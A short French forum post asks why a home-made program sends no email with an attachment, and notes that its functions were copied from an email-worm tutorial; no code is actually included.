Pourquoi je ne reçois pas de mail avec ce petit programme ?

Voilà j'essaye d'envoyer un mail sur ma boite à lettres  avec une pièce jointe :
j'essaye de bidouiller un petit programme dont les fonctions ont été recopiées en grande partie sur le e-worm piece by piece.
le programme une fois compilée fonctionne et ne retourne pas d'erreur mais je ne reçois rien dans ma boite.( Je ne cherche pas à faire un virus).
Au niveau compréhension si quelqu'un peut jeter un coup d'oeil au source :
(les slashs remplacent mon pseudo aol)
